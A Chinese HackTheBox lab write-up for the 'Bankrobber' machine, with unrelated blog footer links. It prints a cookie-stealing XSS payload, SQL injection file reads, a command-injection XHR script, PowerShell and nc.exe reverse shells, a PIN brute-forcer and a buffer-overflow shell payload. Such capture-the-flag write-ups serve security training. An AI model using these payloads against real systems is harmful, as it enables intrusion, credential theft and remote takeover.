hackthebox Bankrobber通关攻略

这个靶机比较难,要求掌握的技能有:XSS、通过SQL注入读取文件、命令注入、缓冲区溢出

以本地xhr方式执行POST请求等。下面详细说明怎样拿flag。

nmap扫描开了80、443、445、3306端口,gobuster枚举发现了/admin、/phpmyadmin等目录

枚举smb,没发现共享目录

crackmapexec smb 10.129.228.109

——存在XSS攻击

用户注册进去,将看到E-coin转账页面

从上述信息提示看出:admin有在批准前查看交易的权限,可能存在XSS攻击。

写入comment=<img src=http://10.10.14.24/x.jpg />,然后监听端口可看到连接信息,印证了存在XSS攻击。

——用XSS截获admin的cookie

然后利用该payload获取cookie

<img src=x onerror=this.src="http://10.10.14.24/?cookie="+btoa(document.cookie) />

注:上述payload要进行URL编码

注:不是马上有连接信息,需要等待2-3分钟。

将获得的cookie解码

echo dXNlcm5hbWU9WVdSdGFXNCUzRDsgcGFzc3dvcmQ9U0c5d1pXeGxjM055YjIxaGJuUnBZdyUzRCUzRDsgaWQ9MQ== |base64 -d

admin  Hopelessromantic

以该账号信息登录

管理员的页面如下

——在Search users发现SQL注入

1、先判断是字符型还是数字型

1'   出错

1'# 正确

注:另一种注释的方法-- -1’-- -

说明为字符型

2、用order by试出来查询了几个字段

1' order by 3#   正确

1' order by 4#   出错

说明查询了3个字段

3、union联合查询

-1' union select 1,2,3#

显示了第1,2个字段的信息


通过枚举数据库、表、列,从users表获取如下信息

1:admin:Hopelessromantic

2:gio:gio

3:test:123456

这些信息对我们没什么帮助,因为已经获得了admin的密码。


或者,用sqlmap进行批量操作

将存在有SQL注入的网页保存为search.req,右键选择Copy to file。

sqlmap -r search.req --dbms mysql --technique=U--dump --batch

注:--technique有6种取值

B: Boolean-based blind

E: Error-based

U: Union query-based

S: Stacked queries

T: Time-based blind

Q: Inline queries

缺省用的technique为BEUSTQ

也可用sqlmap枚举数据库的用户

sqlmap -r search.req --dbms mysql--technique=U--users

枚举数据库用户的密码

sqlmap -r search.req --dbms mysql--technique=U--passwords

获取数据目录

term=-1'+union+select+1,@@datadir,3#

backdoorchecker处大概率有命令执行漏洞。我们知道XAMPP缺省的web目录为c:\xampp\htdocs,尝试读取admin下的backdoorchecker.php源码。

term=-1'+union+select+1,LOAD_FILE('c:/xampp/htdocs/admin/backdoorchecker.php'),3#

backdoorchecker.php源码如下:Linux只能执行ls,windows下只能执行dir;输入的命令里不能带$(或&(可以用|或||);且只能在本地执行命令,即该php只能在本地运行。

从源码可知,调用了../link.php和auth.php。同样的道理,获取link.php源码

获得了连接MySQL的账号信息

root  Welkom1!


——命令执行

编译一个xhr文档script.js

var xhr = new XMLHttpRequest();

var url ="http://localhost/admin/backdoorchecker.php";

var params = "cmd=dir | ping -n 1 10.10.14.24";

xhr.open("POST", url);

xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');

xhr.withCredentials = true;

xhr.send(params);

然后,利用之前有XSS的页面,请求script.js脚本

<script src=http://10.10.14.24/script.js></script>

开启web服务器,监听tun0接口的icmp数据包,等待2-3分钟,看到了ICMP数据包

成功绕过了backdoorchecker.php中的3个限制条件。


——方法一:通过命令执行获得反向连接(执行反向连接的powershell脚本)

将shell.js中的命令改为

var params = "cmd=dir |powershell -exec bypass -f \\\\10.10.14.24\\share\\rev.ps1";

或者

var params = "cmd=dir |powershell iex(new-object  net.webclient).downloadstring(‘http://10.10.14.24/rev.ps1’)";

将Invoke-PowerShellTcp.ps1拷贝为rev.ps1

cp /opt/powershell/Invoke-PowerShellTcp.ps1 ./rev.ps1

将rev.ps1的最后一行修改为

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.24 -Port 9001

开启smbserver

impacket-smbserver share $(pwd) -smb2support

发送含有XSS攻击的web请求

开启web服务器,nc监听端口9001,获得反向连接

python3 -m http.server 80

nc -lvnp 9001

从smbserver处获得Cortin的hash

Cortin::BANKROBBER:aaaaaaaaaaaaaaaa:bbc76653869b3e404339d5e604c04e17:01010000000000008036……

1、提交用户标志

18bd1a7be1fbea357e741bf14af0b530

——方法二:通过命令执行获得反向连接(执行nc.exe)

将script.js中的命令改为

var params = "cmd=dir | \\\\10.10.14.32\\share\\nc.exe 10.10.14.32 3333 -e cmd.exe";

同理,开启smbserver、web服务器、监听端口、执行web请求

impacket-smbserver share $(pwd) -smb2support

python3 -m http.server 80

nc -lvnp 3333

——提权到root

查看开放的网络接口,发现910比较可疑。

netstat -anop TCP

或者

netstat -ano | findstr LISTEN

端口910附属的进程号为1644,查看1644对应的运行程序为bankv2.exe

tasklist /v

在windows下将网络共享映射为盘符Z:

net use Z: \\10.10.14.32\share

利用chisel开隧道,将910端口引到本地。

在Kali Linux上开启chisel服务器

./chisel_1.9.0_linux_amd64 server --port 5555 --reverse

在目标机上用chisel进行连接,创建一个tunnel

.\chisel.exe client 10.10.14.32:5555R:910:127.0.0.1:910

过一段时间,tunnel就建立好了。此时,运行下面的命令进行查看,发现多了910端口

ss -tulpn

注:如果将命令写成

.\chisel.exe client 10.10.14.32:5555R:9100:127.0.0.1:910

我们之后就需要连接9100端口了(nc localhost 9100


本地连接910端口

nc localhost 910

要求输入4位PIN以进行鉴权

写python脚本brute.py,暴力破解得到正确的4位PIN码。

Kali Linux需要安装pwntools。

pip3 install pwntools

from pwn import *

for i in range(0,9999):

       pin= str(i)

       code= pin.zfill(4)

       r= remote("localhost", 910)

       r.recvuntil("[$]")

       r.sendline(code)

       response= r.recvline()

       r.close()

       ifb"Access denied" not in response:

              print(code)

              break

执行brute.py

python brute.py

获知正确的4位PIN码为0021。输入PIN码后,要求输入数量。显示执行C:\Users\admin\Documents\transfer.exe

尝试在输入数量的地方输入超长字符串,判断可能存在缓冲区溢出。

生成100个模式化字符。显示执行命令从0Ab1Ab2开始。

msf-pattern_create -l 100

查询0Ab1字符所在的offset为32

msf-pattern_offset -q 0Ab1

用下面语句生成32个字符A

python -c 'print("A"*32)'

从Kali Linux上拷贝nc.exe到C:\Users\Public,然后再执行nc localhost 910

输入0021后,再输入

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC:\Users\Public\nc.exe

10.10.14.32 4444 -e cmd.exe

将执行C:\Users\Public\nc.exe 10.10.14.32 4444 -e cmd.exe


2、提交root标记

b4e99e1dbab1ebce7b549590c5c824dd

附注:获得提权后(之前以Cortin身份无法拷贝,权限不够),将C:\下的bankv2.exe下载下来逆向分析。

copy c:\bankv2.exe z:

逆向分析bankv2.exe

1、将输入与0021进行比较

2、strcpy时没有控制输入的长度,直接将输入内容拷贝到destination,造成缓冲区溢出

3、从destination和v24的定义看出,destination长度为32,溢出的内容自然分给了紧挨着的变量v24。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,377评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,390评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,967评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,344评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,441评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,492评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,497评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,274评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,732评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,008评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,184评论 1 342
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,837评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,520评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,156评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,407评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,056评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,074评论 2 352

推荐阅读更多精彩内容

  • 好久没做htb的靶机,这次又跟着着大佬的思路去做了一台新的靶机。不同以往的是,这次的靶机Sniper是window...
    byc_404阅读 1,871评论 1 3
  • 来源:By:xiaopiao 1、Juniper(瞻博)防火墙的默认账号密码为:netscreen/netscre...
    小向资源网阅读 581评论 0 1
  • 旨在解决渗透测试中遇到的各种疑难问题### 测试目标分类:WEB,APP,PC,SERVER等APP:1.利用抓包...
    曾经那个少年_阅读 2,353评论 1 0
  • 转自:http://www.freebuf.com/sectool/105524.html 本文为作者总结自己在渗...
    许安念安阅读 5,435评论 0 10
  • 一套实用的渗透测试岗位面试题,你会吗? 1.拿到一个待检测的站,你觉得应该先做什么? 收集信息 whois、网站源...
    g0阅读 4,826评论 0 9